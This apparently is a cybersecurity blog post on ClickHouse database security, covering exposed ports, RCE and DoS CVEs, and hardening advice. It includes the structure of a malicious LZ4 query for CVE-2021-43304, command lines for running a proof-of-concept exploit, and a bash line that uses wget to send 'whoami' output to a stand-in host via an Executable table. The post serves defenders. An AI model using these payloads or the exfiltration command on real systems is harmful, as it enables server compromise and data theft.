ClickHouse Security: A Deep Dive into Vulnerabilities, Exploits, and Hardening

Posted on: November 3, 2025

Introduction to ClickHouse

ClickHouse is a powerful, open-source, column-oriented database management system (DBMS) designed for Online Analytical Processing (OLAP). Its ability to handle massive datasets and perform real-time analytical queries has made it a popular choice for a wide range of applications, from web analytics and business intelligence to IoT and log processing. However, with great power comes great responsibility, and as ClickHouse's adoption grows, so does its attack surface. This article provides a comprehensive overview of ClickHouse security, covering known vulnerabilities, exploitation techniques, and essential hardening practices to help you secure your ClickHouse deployments.

The ClickHouse Attack Surface

Understanding the potential entry points for attackers is the first step in securing any system. For ClickHouse, the attack surface is primarily defined by its network exposure, default configurations, and the features it offers. A misconfigured ClickHouse server can be a goldmine for attackers, providing opportunities for data exfiltration, denial of service, and even remote code execution.

Default Network Ports and Configuration

ClickHouse exposes several network ports for different services. While some are necessary for its operation, others might not be required for your specific use case and should be disabled or firewalled. The default ports are configured in /etc/clickhouse-server/config.xml.

Port	Protocol/Service	Description	Security Risk
8123	HTTP	HTTP default port	Unencrypted traffic, vulnerable to MITM attacks.
8443	HTTPS	HTTP SSL/TLS default port	Encrypted communication.
9000	Native Protocol	ClickHouse TCP protocol, used for inter-server communication and by native clients.	High risk if exposed. This port is often targeted in exploits.
9004	MySQL Emulation	Provides a MySQL-compatible interface.	Increases the attack surface by exposing another protocol.
9005	PostgreSQL Emulation	Provides a PostgreSQL-compatible interface.	Increases the attack surface by exposing another protocol.
9009	Inter-server	Low-level data access, replication	High risk if exposed

Dissecting ClickHouse Vulnerabilities

Over the years, several critical vulnerabilities have been discovered in ClickHouse, ranging from remote code execution to denial of service. Understanding these vulnerabilities is crucial for comprehending the threat landscape and implementing effective security measures.

Remote Code Execution (RCE) Vulnerabilities

RCE vulnerabilities are among the most severe, as they allow an attacker to execute arbitrary commands on the server. ClickHouse has had its share of RCE flaws, often stemming from issues in its compression codecs or other data processing components.

The JFrog Discoveries (CVE-2021-43304 & CVE-2021-43305)

In 2021, the JFrog security research team discovered seven vulnerabilities in ClickHouse, including two critical RCEs. These vulnerabilities could be triggered by any authenticated user, even one with read-only permissions.

CVE ID	Description	Impact	CVSS Score
CVE-2021-43304	Heap buffer overflow in LZ4 compression codec	RCE	8.8
CVE-2021-43305	Heap buffer overflow in LZ4 compression codec	RCE	8.8

Deep Dive: CVE-2021-43304 - RCE via LZ4 Heap Overflow

The most critical vulnerability from the JFrog disclosure, CVE-2021-43304, is a heap buffer overflow in the LZ4 compression codec. With a CVSS score of 8.8, it allows any authenticated user (even with read-only permissions) to achieve Remote Code Execution.

Technical Analysis

The vulnerability lies in the LZ4 decompression logic when handling compressed queries sent via the HTTP interface (port 8123 with `decompress=1`). The core of the issue is a failure to validate input sizes properly:

An attacker sends a compressed query with a specially crafted header.
The header's `decompressed_size` field is set to a very small value (e.g., 1 byte), causing ClickHouse to allocate a tiny buffer on the heap.
The compressed payload, however, is crafted to decompress to a much larger size (e.g., >50KB).
The `wildCopy()` function in the LZ4 implementation proceeds to write the large decompressed data into the tiny buffer, overflowing it and corrupting adjacent heap memory.

This memory corruption can overwrite function pointers or other critical data structures, allowing an attacker to hijack the execution flow and run arbitrary code.

Exploitation Technique

A proof-of-concept exploit leverages this flaw by sending a malicious query structured as follows:


struct MaliciousQuery {
    uint128_t hash;                          // Valid CityHash128 checksum
    uint8_t   compress_method;                 // 0x82 for LZ4
    uint32_t  size_compressed_without_checksum; // Size of the payload
    uint32_t  decompressed_size;              // EXPLOIT: Set to 1
    char      compressed_data[];                  // EXPLOIT: Payload that expands >50KB
}

The `compressed_data` payload is crafted using specific LZ4 token sequences (like `0xF0` followed by many `0xFF` bytes) to trick the decompressor into generating a massive output from a small input, leading to the heap overflow.

Mitigation and Protection

Protecting your ClickHouse instance from CVE-2021-43304 and similar vulnerabilities requires a multi-layered approach:

Update ClickHouse: The most effective mitigation is to upgrade to version 21.10.2.15 or later, where this vulnerability is patched.
Network Segmentation: Restrict access to ClickHouse ports (especially 8123 and 9000) to trusted IP addresses only. Do not expose these ports to the public internet.
Strong Authentication: Enforce strong passwords and disable or remove the default user. While this vulnerability is exploitable by any authenticated user, strong authentication reduces the initial attack surface.
Web Application Firewall (WAF): A WAF may be able to detect and block suspiciously crafted compressed requests, although this is not a foolproof solution.
Monitoring: Monitor ClickHouse logs for signs of repeated failed queries, server crashes, or unusual activity from specific users, which could indicate an exploitation attempt.

CVE-2021-43304 Proof of Concept

To help security professionals and system administrators understand and test for this vulnerability, a Python proof-of-concept script is available. This script automates the process of crafting and sending the malicious query. It includes detailed comments, safety checks, and a verification mode to check the ClickHouse version without sending the exploit.

Key Features of the PoC Script:

Creates the malicious LZ4 payload that triggers the heap overflow.
Calculates the required CityHash128 checksum for the query.
Sends the exploit to the target server with configurable options (host, port, credentials).
Includes a `--verify-only` mode to safely check the server version.
Contains extensive documentation and legal warnings.

Download the CVE-2021-43304 PoC Python Script

Usage Example:

# Verify vulnerability only (safe mode)
python3 cve_2021_43304_poc.py -t 192.168.1.100 --verify-only

# Run the full exploit (requires confirmation)
python3 cve_2021_43304_poc.py -t 192.168.1.100 -u guest -P password123

WARNING: This script should only be used on systems you own or have explicit permission to test. Unauthorized use is illegal.

Denial of Service (DoS) Vulnerabilities

DoS vulnerabilities can render a ClickHouse server unavailable, disrupting critical business operations. These are often caused by unhandled exceptions, infinite loops, or memory exhaustion.

Recent DoS Vulnerabilities (2023)

Several DoS vulnerabilities were patched in 2023, many of which could be triggered by unauthenticated attackers.

CVE ID	Description	Impact
CVE-2023-47118	Heap buffer overflow in T64 compression codec	Server crash (DoS)
CVE-2023-48298	Integer underflow in FPC compression codec	Server crash (DoS)
CVE-2023-48704	Heap buffer overflow in Gorilla codec	Server crash (DoS)

Exploitation Techniques & Proof-of-Concepts (PoCs)

To truly understand the risks, it's helpful to see how these vulnerabilities can be exploited in practice. Here, we'll look at a few examples of ClickHouse exploitation techniques.

Authenticated Command Execution via Executable Tables (CVE-2025-52969 - REJECTED)

This controversial (and ultimately rejected) CVE highlights a privilege escalation vector where a low-privileged user can execute OS commands through a pre-configured `Executable` table. While the ClickHouse team deemed this intended behavior, it underscores the importance of a defense-in-depth security posture.

Proof of Concept

1. Create a script on the server (e.g., `/var/lib/clickhouse/user_scripts/leak.sh`):

#!/bin/bash
wget -q http://example.com?data=$(whoami)

2. Create an `Executable` table as a privileged user:

CREATE TABLE rce_test (
    output String
) ENGINE = Executable('/var/lib/clickhouse/user_scripts/leak.sh', 'TSV');

3. As a low-privileged user with only `SELECT` permissions, run:

SELECT * FROM rce_test;

This will execute the script on the server, demonstrating the privilege escalation vector.

Penetration Testing a ClickHouse DB

For security professionals, the blog post by "pizzaPower" provides an excellent starting point for pentesting ClickHouse. Here are some of the key takeaways:

File Reading: By default, file access is restricted, but a misconfigured `user_files_path` in `config.xml` can allow an attacker to read arbitrary files.
SSRF: The `url()` function and dictionary sources can be abused to perform Server-Side Request Forgery attacks.
Remote Code Execution: The `executable()` function, if enabled, can be used to execute arbitrary commands on the server.

Hardening Your ClickHouse Instance

Now that we've explored the risks, let's discuss how to mitigate them. Here are some essential security best practices for hardening your ClickHouse deployment:

Network Security: Firewall your ClickHouse servers and only expose the necessary ports to trusted clients. Use a VPN or other secure tunneling mechanism for remote access.
Authentication and Authorization: Disable the default user and enforce strong password policies. Use role-based access control (RBAC) to grant users the minimum necessary privileges.
TLS/SSL Encryption: Encrypt all communication to and from your ClickHouse server using TLS/SSL.
Configuration Hardening: Carefully review and harden your `config.xml` file. Disable unused features and restrict file access paths.
Regular Updates: Keep your ClickHouse instances up-to-date with the latest security patches.
Monitoring and Auditing: Monitor your ClickHouse logs for suspicious activity and regularly audit your security configurations.

Conclusion

ClickHouse is a powerful and versatile database, but it's not immune to security vulnerabilities. By understanding the attack surface, staying informed about the latest threats, and implementing a robust security strategy, you can protect your ClickHouse deployments and the valuable data they contain. Remember that security is an ongoing process, not a one-time fix. Stay vigilant, stay informed, and keep your ClickHouse instances secure.

Search This Blog

Encrypted Thoughts | Cybersecurity, Pentesting & Threat Intelligence